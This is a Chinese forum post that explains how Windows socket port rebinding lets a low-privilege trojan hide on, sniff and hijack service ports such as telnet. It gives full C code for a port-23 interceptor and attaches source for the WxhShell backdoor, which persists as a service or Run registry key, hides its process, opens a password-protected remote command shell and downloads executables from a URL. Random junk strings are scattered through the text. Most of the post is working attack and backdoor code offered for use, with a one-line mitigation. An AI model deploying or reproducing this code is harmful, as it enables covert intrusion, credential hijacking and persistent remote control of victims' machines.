社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9121阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $M"0BZQ?y!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6&2LWaWMo$  
6!EYrX}rI[  
  saddr.sin_family = AF_INET; G5]1s  
9 -jO,l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KO]N%]:&~  
aw}+'(?8]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \Rk$t7ZH  
p*;Qz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fAj2LAK  
:h";c"  
  这意味着什么?意味着可以进行如下的攻击: M:ai<TZ]  
m$y]Lf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p {%t q$}.  
F'J [y"~_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n+2J Dq|?p  
't>r sp+#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K}I0o!(#  
ipKG!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]"x\=A  
9]_GNk-D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |#5 e|z5(  
:7;[`bm(G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +AQDD4bu  
2DMrMmLI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WBppKj_M  
-4L!k'uR  
  #include w4MwD?i]R  
  #include Go+[uY^  
  #include `n-vjjG%#  
  #include    ?=|kC*$/G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F>Y9o- o2  
  int main() 6 `puTL?  
  { + Oobb-v  
  WORD wVersionRequested; .L;",E  
  DWORD ret; c>Z*/>~  
  WSADATA wsaData; P%o44|[][  
  BOOL val; +*EKR  
  SOCKADDR_IN saddr; U|fTb0fB  
  SOCKADDR_IN scaddr; , Fytk34  
  int err; EZ% .M*?  
  SOCKET s; g_D-(J`IK,  
  SOCKET sc; B/YcSEY;  
  int caddsize; A_r<QYq0|  
  HANDLE mt; VbxAd 2')  
  DWORD tid;   jL4>A$  
  wVersionRequested = MAKEWORD( 2, 2 ); PvOC5b  
  err = WSAStartup( wVersionRequested, &wsaData ); ]O@"\_}  
  if ( err != 0 ) { M9V-$ _)  
  printf("error!WSAStartup failed!\n"); R+. Nn  
  return -1; ujx-jIhT_  
  } lIDl1Z@Z  
  saddr.sin_family = AF_INET; QN 0rE @a  
   SgSk !lj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x1DVD!0~{  
_.f@Y`4d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -^fzsBL.  
  saddr.sin_port = htons(23); 1~qm+nET\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d/B*  
  { BRtXf0~&p  
  printf("error!socket failed!\n"); *h,3}\  
  return -1; Dsb(CoWw  
  } me'(lQ6^  
  val = TRUE; w#{l 4{X|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }GRMZh_8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h;n\*[fDc  
  { jyjQzt >\  
  printf("error!setsockopt failed!\n"); 91;HiILgT  
  return -1; ?Leyz  
  } (@?eLJlT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U?6yke  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^uBwj }6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (n=Aa;  
V [4n'LcE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FU]4oKx  
  { 9}n,@@  
  ret=GetLastError(); W8.j /K:  
  printf("error!bind failed!\n"); 2 zl~>3S  
  return -1; 1#!@["  
  } &l!$Sw-u;  
  listen(s,2); "z/V%ZK~f  
  while(1) 6<76O~hNZ  
  { 0o;~~\fq.  
  caddsize = sizeof(scaddr); #J~Xv:LgD  
  //接受连接请求 =5_y<0`4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _sm;HH7'*  
  if(sc!=INVALID_SOCKET) 4Bo<4 4-,  
  { C "9"{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mryn>b`cB  
  if(mt==NULL) : ~'Z(-a  
  { S2}Z&X(  
  printf("Thread Creat Failed!\n"); iwkJ~(5z  
  break; p)z-W(  
  } 7%opzdS#  
  } #[,= 1Od(q  
  CloseHandle(mt); d q pgf@  
  } 0:PSt_33F  
  closesocket(s); {|p"; uJ  
  WSACleanup(); ;r@!a!NLB  
  return 0; ^hysCc  
  }   7AeP Gr  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4[_L=zD  
  { cI3KB-lM#  
  SOCKET ss = (SOCKET)lpParam; AJ4r/b }  
  SOCKET sc; Z*h ;e;  
  unsigned char buf[4096]; :R3P 58>  
  SOCKADDR_IN saddr; #ZF>WoC@e?  
  long num; wEK%T P4  
  DWORD val; -XLo0  
  DWORD ret; o]p#%B?mZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w #<^RKk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Rd vn)K  
  saddr.sin_family = AF_INET; Y'&8L'2Z[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rkq)&l=ny  
  saddr.sin_port = htons(23); ,$PFI(Whk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Br>KJ%'g  
  { !(yT7#?hP  
  printf("error!socket failed!\n"); Np)ho8zU  
  return -1; a.CF9m5]c  
  } c G*(C  
  val = 100; O*ImLR)i+s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1M=   
  { iW;}%$lVX  
  ret = GetLastError(); dWjx"7^  
  return -1;  /+N|X  
  } >.n;mk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ennR@pg  
  { ?Oqzd$-  
  ret = GetLastError(); |""=)-5N  
  return -1; ?'Oj=k"c7  
  } U~CdU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ki`8(u6l  
  { H)`@2~Y  
  printf("error!socket connect failed!\n"); 6#O#T;f)  
  closesocket(sc); /'mrDb_ip  
  closesocket(ss); =9fEv,Jk  
  return -1; SF"#\{cjj  
  } k=ts&9\  
  while(1) /M]eZ~QKD  
  { sK`< kbj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >eRZ+|k?N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "0b?+ 3_{G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x'zihDOI  
  num = recv(ss,buf,4096,0); 0s )cVYppe  
  if(num>0) KjBOjD'I  
  send(sc,buf,num,0); jp% +n  
  else if(num==0) RrKfTiK H  
  break; U>in2u 9  
  num = recv(sc,buf,4096,0); k06xz#pL  
  if(num>0) Ma>:_0I5  
  send(ss,buf,num,0); T0YDfo  
  else if(num==0) { v,{x1  
  break; })KJ60B  
  } rAM *\=  
  closesocket(ss); u]P03B  
  closesocket(sc); hEWx.  
  return 0 ; 0~qf-x  
  } B~WK)UR  
m$,cH>E  
Ut]2`8-  
========================================================== 6zv;lx0<D&  
amMjuyW  
下边附上一个代码,,WXhSHELL GKiq0*/M  
{=s:P|ah  
========================================================== "havi,m  
q Frt^+@  
#include "stdafx.h" "/Om}*VhD  
{K<uM'ww>  
#include <stdio.h> {>wI8  
#include <string.h> m"<4\;GK  
#include <windows.h> I/Sv"X6E  
#include <winsock2.h> KUF$h Er  
#include <winsvc.h> d3Y(SPO  
#include <urlmon.h> .N/GfR`0/<  
| O57N'/  
#pragma comment (lib, "Ws2_32.lib") /8=:qIJYA  
#pragma comment (lib, "urlmon.lib") m5)EQE}gPp  
xLe =d|6  
#define MAX_USER   100 // 最大客户端连接数 E2Us#a  
#define BUF_SOCK   200 // sock buffer @+iC/  
#define KEY_BUFF   255 // 输入 buffer 0{-`Th+h  
#fwzFS \XL  
#define REBOOT     0   // 重启 I ca3  
#define SHUTDOWN   1   // 关机 4sb )^3T  
.F4oo=  
#define DEF_PORT   5000 // 监听端口 y+?=E g  
{%=S+89l  
#define REG_LEN     16   // 注册表键长度 D*CIE\+  
#define SVC_LEN     80   // NT服务名长度 3T" #T&eL  
HmhUc,EC  
// 从dll定义API /X@7ju;   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :-w@^mli  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #m[vn^8B]y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @55bE\E?@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^I@ey*$  
`E{;85bDH  
// wxhshell配置信息 anK[P'Y  
struct WSCFG { (~=Qufy  
  int ws_port;         // 监听端口 _t$lcOT  
  char ws_passstr[REG_LEN]; // 口令 $< A8gTJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ftO+.-sm<  
  char ws_regname[REG_LEN]; // 注册表键名 {-o7w0d_  
  char ws_svcname[REG_LEN]; // 服务名 D}mo\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F='Xj@&O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;&K3 [;a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?F)_T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )!N2'Ld  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" chKF6n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uFGv%W  
BO8%:/37[4  
}; cC b>zI  
\k|_&hG  
// default Wxhshell configuration -zPm{a  
struct WSCFG wscfg={DEF_PORT, Dm>T"4B`/  
    "xuhuanlingzhe", Z"l`e0 {  
    1, 6].yRNy"  
    "Wxhshell", <+<)xwOQ ]  
    "Wxhshell", lO551Y^  
            "WxhShell Service", T {hyt  
    "Wrsky Windows CmdShell Service", L v  
    "Please Input Your Password: ", 'Y hA  
  1, Coga-: 2vu  
  "http://www.wrsky.com/wxhshell.exe", +A'}PXm*tu  
  "Wxhshell.exe" v>JB rIb$  
    }; 'u4}t5Bu5  
g@$0FY{Q  
// 消息定义模块 bq c;.4$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FI3sLA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ' %bj9{(0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lf?Z{^  
char *msg_ws_ext="\n\rExit."; TjKzBAX  
char *msg_ws_end="\n\rQuit."; [P.@1mV  
char *msg_ws_boot="\n\rReboot..."; g|tNa/  
char *msg_ws_poff="\n\rShutdown..."; 29R_n)ne  
char *msg_ws_down="\n\rSave to "; + #|'|}j  
;6DR .2}?>  
char *msg_ws_err="\n\rErr!"; p6<E=5RRd1  
char *msg_ws_ok="\n\rOK!"; d [\>'>  
1j oc<EI  
char ExeFile[MAX_PATH]; |M[v493\  
int nUser = 0; WpZy](,  
HANDLE handles[MAX_USER]; 6b-  
int OsIsNt; ^?H\*N4  
9`ri J4zl  
SERVICE_STATUS       serviceStatus; w k-Mu\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N2[, aU  
{Uik|  
// 函数声明 Gh>"s#+  
int Install(void); ;yRwoTc)Y  
int Uninstall(void); .a 'ETNY:>  
int DownloadFile(char *sURL, SOCKET wsh); _DNkdS [[  
int Boot(int flag); `l HKQwu  
void HideProc(void); @)aXNQY  
int GetOsVer(void); (Q}PeKM?jq  
int Wxhshell(SOCKET wsl); H=JP3ID>{  
void TalkWithClient(void *cs); ^% ~Et>C  
int CmdShell(SOCKET sock); 3&.TU5]`-  
int StartFromService(void); FiV^n6-F`  
int StartWxhshell(LPSTR lpCmdLine); 6LSPPMM  
\_iH4<#>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7VEt4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ig40#pA  
E'S<L|A/  
// 数据结构和表定义 8.Pcr<  
SERVICE_TABLE_ENTRY DispatchTable[] = eLHa9R{)B  
{ D6C -x  
{wscfg.ws_svcname, NTServiceMain}, Pur"9jHa4  
{NULL, NULL} Hl%+F 0^?  
}; -L^0-g  
Mft0D j/  
// 自我安装 9`nP(~  
int Install(void) *X-~TC0 [  
{ HB/ _O22  
  char svExeFile[MAX_PATH]; &%_y6}xIw  
  HKEY key; "Qiq/"h  
  strcpy(svExeFile,ExeFile); #Pe\Z/  
kphy7> Km  
// 如果是win9x系统,修改注册表设为自启动 zJB+C=]D7H  
if(!OsIsNt) { ,g<>`={kK+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :kf3_?9rc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [#H8=  
  RegCloseKey(key); )w }*PL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e3HF"v]2!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fzGZ:L  
  RegCloseKey(key); !5g)3St  
  return 0; 4wM$5  
    } sT;=7 L<TA  
  } D{&+7C:8.  
} oHP >v_ X  
else { ?z4uze1  
-r6(=A  
// 如果是NT以上系统,安装为系统服务 mCEKEX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xX/Qoq (}i  
if (schSCManager!=0) 1*c0\:BQ;z  
{ Tko CyD9  
  SC_HANDLE schService = CreateService % @^VrhS  
  ( rRA_'t;uK  
  schSCManager, 2WbZ>^:Nsk  
  wscfg.ws_svcname, `9G$p|6  
  wscfg.ws_svcdisp, +v`^_  
  SERVICE_ALL_ACCESS, 1*x5/b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @BB,i /  
  SERVICE_AUTO_START, CwCo"%E8}  
  SERVICE_ERROR_NORMAL, Bv |jo&0n  
  svExeFile, K|Ij71  
  NULL, *y[~kWI  
  NULL, \8C*O{w  
  NULL, egIS rmL+X  
  NULL, 34O+#0<y~  
  NULL f|[5&,2<  
  ); 4n.i<K8K[  
  if (schService!=0) lHj7O &+  
  { 9X^-)G>  
  CloseServiceHandle(schService); J^<j=a|D  
  CloseServiceHandle(schSCManager); |)>GeE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ><Mbea=U+  
  strcat(svExeFile,wscfg.ws_svcname); q4IjCu+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )}zA,FOA*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qbe{/  
  RegCloseKey(key); j:vD9sdQ  
  return 0; WLj_Zo*^x  
    } .+ yJh  
  } cbg3bi  
  CloseServiceHandle(schSCManager); lw/ m0}it  
} 4*ty&s=5OJ  
} 'amex  
bj* v'  
return 1; @Ig,_i\UY:  
} &55uT;7] a  
XTn{1[.O  
// 自我卸载 ogh2kht  
int Uninstall(void) Tl0+Bq  
{ 0,i+  
  HKEY key; -7A!2mRiz  
A`r$fCt1Vi  
if(!OsIsNt) { E%v[7 ST  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sO f)/19  
  RegDeleteValue(key,wscfg.ws_regname); A$Jn3Xd~!  
  RegCloseKey(key); J4R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d+$[EDix  
  RegDeleteValue(key,wscfg.ws_regname); =4%WOI  
  RegCloseKey(key); Pq_ApUZa  
  return 0; ^ _#gIT\  
  } S+\Mt+o  
} N[?4yV2s  
} B )3SiU  
else { ?;r7j V/`j  
4VL!U?dk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Se]t;7j  
if (schSCManager!=0) V[2<ha[n>  
{ 14)kKWG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <pa];k(IQL  
  if (schService!=0) *^$N $t/2  
  { e715)_HD  
  if(DeleteService(schService)!=0) { 66y,{t  
  CloseServiceHandle(schService); W} +6L|  
  CloseServiceHandle(schSCManager); oY#XWe8Om  
  return 0; IEKX'+t'  
  } Z#E#P<&d  
  CloseServiceHandle(schService); TlZlE^EE<  
  } >!ZyykAs  
  CloseServiceHandle(schSCManager); 0a;F X0S&  
} Jut'xA2Dr  
} 0z2R`=)  
E4fvYV_ra  
return 1; vXWESy  
} Dqo:X`<bT  
qi5>GX^t]b  
// 从指定url下载文件 g_U*_5doA  
int DownloadFile(char *sURL, SOCKET wsh) ]8j5Ou6#y  
{ 1oVDOo  
  HRESULT hr; uC$4TnoQx.  
char seps[]= "/"; {&AT}7  
char *token; xN~<<PIZ  
char *file; iF2IR {h  
char myURL[MAX_PATH]; C@:N5},]  
char myFILE[MAX_PATH]; N 7|W.(  
Y~\xWYR  
strcpy(myURL,sURL);  x+j/v5  
  token=strtok(myURL,seps); #cg@Z  
  while(token!=NULL) Y&:\s8C  
  { ="PywZ  
    file=token; o~z.7q  
  token=strtok(NULL,seps); ~d1RD  
  } q\b9e&2Y  
9bYHb'70  
GetCurrentDirectory(MAX_PATH,myFILE); 6/[h24d  
strcat(myFILE, "\\"); Dl!'_u  
strcat(myFILE, file); `1}yB  
  send(wsh,myFILE,strlen(myFILE),0); m`w6wz  
send(wsh,"...",3,0); \VzQ1B>k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J+Y|# U  
  if(hr==S_OK) 63\>MQcLy  
return 0; a\.?{/  
else z:q'?{` I  
return 1; t jBv{  
e}@J?tJK.L  
} %-zH]"Q$  
ZX RN?b  
// 系统电源模块 S%%qn  
int Boot(int flag) Vf2! 0  
{ wZolg~dg  
  HANDLE hToken; "PM:&v  
  TOKEN_PRIVILEGES tkp; [+2^n7R  
]5MR p7  
  if(OsIsNt) { fN/KXdAy&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]?5@ObG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ':fbf7EL<  
    tkp.PrivilegeCount = 1; qdnNapWnc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nFOG=>c}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l%V}'6T  
if(flag==REBOOT) { Z\yLzy#8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D.JVEKLkU  
  return 0; Jrrk$0H^~  
} JC-yiORVr  
else { NQ{Z   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gnK!"!nL  
  return 0; IBHG1<3  
} Tl{r D(D  
  } )4O`%9=M&  
  else { MjosA R  
if(flag==REBOOT) { :)S4MoG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z^a?t<+  
  return 0; ZI*A0_;L  
} `9)2nkJk'z  
else { Rf$6}F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eHZl-|-  
  return 0; ;( Va_   
} w9}IM149  
} W..>Ny;'3  
Ji:@z%osr  
return 1; 2{qG  
} k0=y_7 =(5  
MA QY/s~F  
// win9x进程隐藏模块 ^Rh~+  
void HideProc(void) :D7!6}%  
{ U/l ra&P  
Y'":OW#oN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DdW8~yI&  
  if ( hKernel != NULL ) 745PCC'FK  
  { lY,1 w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~DS9{Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;qQzF  
    FreeLibrary(hKernel);  D -EM  
  } f)fw87UPc  
alD|-{Bf  
return; >}tG^)os  
} m$j;FKz+|  
ImW~Jy  
// 获取操作系统版本  Ue Tp,  
int GetOsVer(void) ? =Qg  
{ clV/i&]Qa  
  OSVERSIONINFO winfo; %Q01EjRes  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4IpFT;`q  
  GetVersionEx(&winfo); a];i4lt(c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,RH986,6V  
  return 1; 7 i\[Q8f  
  else zL}DLfy>R  
  return 0; uU"s50m  
} 6!m#_z8qG3  
f2XD^:Gc  
// 客户端句柄模块 e;\c=J,eE  
int Wxhshell(SOCKET wsl) Wx`IEPsVbk  
{ p =O1aM  
  SOCKET wsh; NX/)Z&Fx:  
  struct sockaddr_in client; }e|]G,NZO  
  DWORD myID; ` &DiM@Sm  
jt*@,+e|  
  while(nUser<MAX_USER) %gB0D8,vo  
{ eHIC'b.  
  int nSize=sizeof(client); SpQ6A]M gm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WJ,ON-v  
  if(wsh==INVALID_SOCKET) return 1; =,9'O/br  
eu/Sp3@v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s47"JKf"  
if(handles[nUser]==0) ywBo9|%T  
  closesocket(wsh); l;i u`  
else breVTY7 S  
  nUser++; DSa92:M}  
  } Z 0^d o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >eI(M $  
epe}^Pl  
  return 0; Q4 S8NqE  
} +[qy HTcG  
#{PNdINoU  
// 关闭 socket cFo-NI2  
void CloseIt(SOCKET wsh) 1EB`6_>y  
{ s^< oU  
closesocket(wsh); bBL"F!.  
nUser--; }3e+D  
ExitThread(0); \6L=^q=  
} YzVLa,[  
n`1i k'x?  
// 客户端请求句柄 w=5qth7  
void TalkWithClient(void *cs) g Q^]/X  
{ =@ RVLml  
6UTdy1Qq>  
  SOCKET wsh=(SOCKET)cs; s4*,ocyBP  
  char pwd[SVC_LEN]; ^\;5O(9  
  char cmd[KEY_BUFF]; UNHHzTsr?  
char chr[1]; YTA  &G  
int i,j; "Y6mM_flq  
p5ihuV,   
  while (nUser < MAX_USER) { Qmn5-yiw1d  
>Li?@+Zl  
if(wscfg.ws_passstr) { -tJ*F!w6U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %kT:"j(xW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vy VC#AK,  
  //ZeroMemory(pwd,KEY_BUFF); $cedO']  
      i=0; j=LF1dG"  
  while(i<SVC_LEN) { R8)"M(u=l  
,\IZ/1  
  // 设置超时 (Nf.a4O  
  fd_set FdRead; it@s(1EO#  
  struct timeval TimeOut; D=$<E x^p  
  FD_ZERO(&FdRead); ml2HA4X&$Y  
  FD_SET(wsh,&FdRead); 8V= o%[t  
  TimeOut.tv_sec=8; D\JYa@*?.h  
  TimeOut.tv_usec=0; TUt)]"h<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fAi113q!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7BnP,Nd"W  
{DR+sE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QO%K`}Q}  
  pwd=chr[0]; ~gD'up@$/  
  if(chr[0]==0xd || chr[0]==0xa) { V8/o@I{U[  
  pwd=0; 7+bzCDKU  
  break; H?m2|.  
  } z m%\L/BF  
  i++; t+tGN\q  
    } OZD/t(4?6s  
pOXEM1"2A  
  // 如果是非法用户,关闭 socket O1"!'Gk[!L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' wEP:}  
} ]n_A~Y r  
wl4yNC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ 0Sd +{Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eAj}/2y"  
D3OV.G]`  
while(1) { @\a- =  
idq= US  
  ZeroMemory(cmd,KEY_BUFF); 'n=D$j]X  
}Z|a?J@CZm  
      // 自动支持客户端 telnet标准   slbV[xR  
  j=0; ~F-,Q_|-  
  while(j<KEY_BUFF) { gQ[4{+DSf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %WR  
  cmd[j]=chr[0]; - U|4`{PP  
  if(chr[0]==0xa || chr[0]==0xd) { s] qfLC  
  cmd[j]=0; l`k3!EZDS  
  break; D {mu2'q  
  } +q;^8d>  
  j++; 4^r}&9C ~  
    } wFD .3!  
8I'?9rt2M  
  // 下载文件 :c>,=FUT  
  if(strstr(cmd,"http://")) { Z,z^[Jz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q)/4i9  
  if(DownloadFile(cmd,wsh)) Tr8+E;;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=#Wfl-o  
  else bF.Aj8ZQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c=5$bo]LI  
  } C,E 5/XW  
  else { AG?oA328  
31}6dg8?n  
    switch(cmd[0]) { _Cxs"to  
  )`)cB)s  
  // 帮助 86i =N _  
  case '?': { 0bor/FU-d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -(jcsqDk  
    break; $_ y"P  
  } #S"=)BZ8L  
  // 安装 u=4Rn  
  case 'i': { V\_ &2',t  
    if(Install()) /#a$4 }2L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!b#v`  
    else >\e11OU0Gy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >y?$aJ8ZV  
    break; <K43f#%  
    } Bn.8wMB  
  // 卸载 l}m@9 ~oC  
  case 'r': { #>0nNR[$Y  
    if(Uninstall()) 8yd OS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @M1U)JoQ  
    else V\ |b#?KL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 09Fr1PL  
    break; 7-^d4P+|g  
    } ;3w W)gL1  
  // 显示 wxhshell 所在路径 uwbj`lpf  
  case 'p': { oyUf/ Sl  
    char svExeFile[MAX_PATH]; 6|zA,-=  
    strcpy(svExeFile,"\n\r"); 0P|WoC X  
      strcat(svExeFile,ExeFile); X/Ae-1!  
        send(wsh,svExeFile,strlen(svExeFile),0); :G!Kaa,r  
    break; lHx$F ?  
    } ]'"$qm:  
  // 重启 }&=C*5JN  
  case 'b': { wm}i+ApK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A >e%rx  
    if(Boot(REBOOT)) 4 1Ru@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-^\e)ln  
